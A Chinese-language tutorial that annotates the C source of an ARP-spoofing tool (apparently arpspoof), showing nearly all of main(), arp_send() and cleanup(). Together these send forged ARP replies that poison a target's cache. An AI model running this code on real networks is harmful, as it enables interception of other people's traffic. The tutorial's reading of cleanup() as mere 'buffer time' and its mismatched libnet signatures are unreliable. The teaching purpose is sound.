从main函数开始
首先大家不要慌,我加了无数注释,这个工具的代码也不过400行而已。首先我们看一下main函数:
为了避免大家看起来太紧张,我在源码的注释中加了详细的讲解,方便基础薄弱的同学理解:
1 int main(int argc, char *argv[]) 2 { 3 int c; 4 char ebuf[PCAP_ERRBUF_SIZE]; 5 intf = NULL; 6 spoof_ip = target_ip = 0; 7 8 /** 9 关于getopt这个函数我想做如下解释大家就可以读懂下面的函数的具体意思了: 10 1.getopt的用途:用于专门处理函数参数的。 11 2.getopt的用法:argc与argv直接是从main的参数中拿下来的,第三个参数描述了整个程序参数的命令要求 12 具体的用法我们可以先理解为要求i,t这两个参数必须有值 13 然后有具体值得参数会把值付给全局变量optarg,这样我们就能理解下面的while循环中的操作了 14 */ 15 while ((c = getopt(argc, argv, "i:t:h?V")) != -1) { 16 17 switch (c) { 18 19 case 'i': 20 intf = optarg; 21 break; 22 case 't': 23 /* 24 libnet_name_resolve是解析域名,然后把域名解析的结果形成ip地址返回到target_ip 25 */ 26 if ((target_ip = libnet_name_resolve(optarg, 1)) == -1) 27 usage(); 28 break; 29 default: 30 usage(); 31 32 } 33 34 } 35 36 argc -= optind; 37 argv += optind; 38 39 if (argc != 1) 40 usage(); 41 42 if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1) 43 usage(); 44 45 /* 46 pcap_lookupdev 顾名思义这个pcap库中的函数是用来寻找本机的可用网络设备。 47 下面的if语句是将如果intf(-i的参数为空就调用pcap_lookupdev来寻找本机的网络设备) 48 ebuf就是error_buf用来存储错误信息 49 */ 50 if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL) 51 errx(1, "%s", ebuf); 52 53 /* 54 libnet_open_link_interface这个函数存在于libnet库中,作用是打开intf指向的网络链路设备 55 错误信息存入ebuf中。 56 */ 57 if ((llif = libnet_open_link_interface(intf, ebuf)) == 0) 58 errx(1, "%s", ebuf); 59 60 /* 61 下面语句的意思是如果target_ip为0或者是arp_find没有成功找到target_ip 62 那么提示错误 63 */ 64 if (target_ip != 0 && !arp_find(target_ip, &target_mac)) 65 errx(1, "couldn't arp for host %s", 66 libnet_host_lookup(target_ip, 0)); 67 68 //这里关于信号的处理问题如果大家不是太清楚的话也可以跳过, 69 //有兴趣的朋友,可以深入了解一下,因为这里不是本文重点,就不再赘述了 70 signal(SIGHUP, cleanup); 71 signal(SIGINT, cleanup); 72 signal(SIGTERM, cleanup); 73 74 for (;;) { 75 /* 76 在这个for的循环里我们看到了我们希望看到的核心模块 77 arp_send大家一看这个函数便知道这个函数是用来发送伪造的arp数据包的,关于这个函数具体的用法我们稍后将会讨论 78 */ 79 arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip, 80 (target_ip ? (u_char *)&target_mac : NULL), 81 target_ip); 82 sleep(2); 83 84 } 85 /* NOTREACHED */ 86 87 exit(0); 88 89 }
看了main函数里面的各种东西,我们发现并没有什么玄机,其实就是很简单的编程,具体的函数讲解都在注释中写出来了。
核心函数的登场
接下来我们就看一下他是如何实现发送arp包的,其实知道大家看了源代码以后就知道,这真的没有什么技术含量
1 /** 2 这里是我们发送arp包的核心实现 3 我先来介绍一下这个函数的参数方便大家理解 4 参数一:libnet链路层接口,通过这个接口可以操作链路层 5 参数二:本机的网卡设备intf(由-i指定或者pcap_lookupdev来获取) 6 参数三:arpop,来指定arp包的操作 7 参数四:本机硬件地址 8 参数五:本机ip 9 参数六:目标硬件地址 10 参数七:目标ip 11 */ 12 int arp_send(struct libnet_link_int *llif, char *dev, 13 int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa) 14 { 15 16 char ebuf[128]; 17 u_char pkt[60]; 18 19 /* 20 这里来通过链路层和网卡来获取dev对应的mac地址*/ 21 if (sha == NULL && 22 (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) { 23 24 return (-1); 25 26 } 27 /* 28 这里通过链路层和网卡来获取dev对应的ip地址 29 */ 30 31 if (spa == 0) { 32 33 if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0) 34 return (-1); 35 spa = htonl(spa); /* XXX */ 36 37 } 38 39 /* 40 如果目标mac没有的话就被赋值为\xff\xff\xff\xff\xff\xff 41 */ 42 if (tha == NULL) 43 tha = "\xff\xff\xff\xff\xff\xff"; 44 45 /* 46 libnet_ptag_t libnet_build_ethernet( 47 u_int8_t*dst, u_int8_t *src, 48 u_int16_ttype, u_int8_t*payload, 49 u_int32_tpayload_s, libnet_t*l, 50 libnet_ptag_t ptag ) 51 功能: 52 构造一个以太网数据包 53 参数: 54 dst:目的 mac 55 src:源 mac 56 type:上层协议类型 57 payload:负载,即附带的数据,可设置为 NULL(这里通常写 NULL) 58 payload_s:负载长度,或为 0(这里通常写 0 ) 59 l:libnet 句柄,libnet_init() 返回的 libnet * 指针 60 ptag:协议标记,第一次组新的发送包时,这里写 0,同一个应用程序,下一次再组包时,这个位置的值写此函数的返回值。 61 返回值: 62 成功:协议标记 63 失败:-1 64 */ 65 libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt); 66 /* 67 libnet_ptag_t libnet_build_arp( 68 u_int16_t hrd, u_int16_t pro, 69 u_int8_t hln, u_int8_t pln, 70 u_int16_t op, u_int8_t *sha, 71 u_int8_t *spa, u_int8_t *tha, 72 u_int8_t *tpa, u_int8_t *payload, 73 u_int32_t payload_s, libnet_t *l, 74 libnet_ptag_t ptag ) 75 功能: 76 构造 arp 数据包 77 参数: 78 hrd:硬件地址格式,ARPHRD_ETHER(以太网) 79 pro:协议地址格式,ETHERTYPE_IP( IP协议) 80 hln:硬件地址长度 81 pln:协议地址长度 82 op:ARP协议操作类型(1:ARP请求,2:ARP回应,3:RARP请求,4:RARP回应) 83 sha:发送者硬件地址 84 spa:发送者协议地址 85 tha:目标硬件地址 86 tpa:目标协议地址 87 payload:负载,可设置为 NULL(这里通常写 NULL) 88 payload_s:负载长度,或为 0(这里通常写 0 ) 89 l:libnet 句柄,libnet_init() 返回的 libnet * 指针 90 ptag:协议标记,第一次组新的发送包时,这里写 0,同一个应用程序,下一次再组包时,这个位置的值写此函数的返回值。 91 返回值: 92 成功:协议标记 93 失败:-1 94 */ 95 libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, 96 op, sha, (u_char *)&spa, tha, (u_char *)&tpa, 97 NULL, 0, pkt + ETH_H); 98 99 fprintf(stderr, "%s ", 100 ether_ntoa((struct ether_addr *)sha)); 101 102 103 104 /* 105 下面的if和else是回显处理(也就是大家能看到的部分 106 */ 107 if (op == ARPOP_REQUEST) { 108 109 fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n", 110 ether_ntoa((struct ether_addr *)tha), 111 libnet_host_lookup(tpa, 0), 112 libnet_host_lookup(spa, 0)); 113 114 } 115 else { 116 117 fprintf(stderr, "%s 0806 42: arp reply %s is-at ", 118 ether_ntoa((struct ether_addr *)tha), 119 libnet_host_lookup(spa, 0)); 120 fprintf(stderr, "%s\n", 121 ether_ntoa((struct ether_addr *)sha)); 122 123 } 124 return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt)); 125 126 }
小尾巴
1 /* 2 下面我们发现挂载信号处理函数的都是cleanup函数, 3 这个函数很好理解,就是在本机网络设备存在的条件下把包再发三遍, 4 5 但是为什么要这么做呢?似乎立即中断也没什么不合理, 6 我想作者的意思就是总要给一个缓冲的时间啊 7 8 我们再仔细观察一下,在main的主循环中是sleep(2) 9 在下面的循环中是sleep(1) 10 11 */ 12 void cleanup(int sig) 13 { 14 15 int i; 16 17 if (arp_find(spoof_ip, &spoof_mac)) { 18 19 for (i = 0; i < 3; i++) { 20 21 /* XXX - on BSD, requires ETHERSPOOF kernel. */ 22 23 /*上面这条注释是源码的作者加的,意思是说在BSD系统中需要ETHERSPOOF的第三方内核模块*/ 24 arp_send(llif, intf, ARPOP_REPLY, 25 (u_char *)&spoof_mac, spoof_ip, 26 (target_ip ? (u_char *)&target_mac : NULL), 27 target_ip); 28 sleep(1); 29 30 } 31 32 } 33 exit(0); 34 35 }
